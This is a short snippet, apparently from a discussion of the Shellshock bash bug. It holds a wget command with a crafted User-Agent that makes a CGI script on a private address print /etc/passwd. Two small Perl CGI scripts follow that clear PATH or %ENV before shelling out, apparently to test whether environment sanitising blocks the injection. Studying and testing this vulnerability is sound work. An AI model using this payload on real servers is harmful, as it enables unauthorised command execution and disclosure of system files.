wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

##</code><code>##

#!/usr/bin/perl -wT

print "Content-type: text/plain\n\n";
local $ENV{PATH} = '/usr/local/bin';
print `eval \$BAD_VAR`;

##</code><code>##

#!/usr/bin/perl -wT

print "Content-type: text/plain\n\n";
local %ENV = (PATH => '/usr/local/bin');
print `eval \$BAD_VAR`;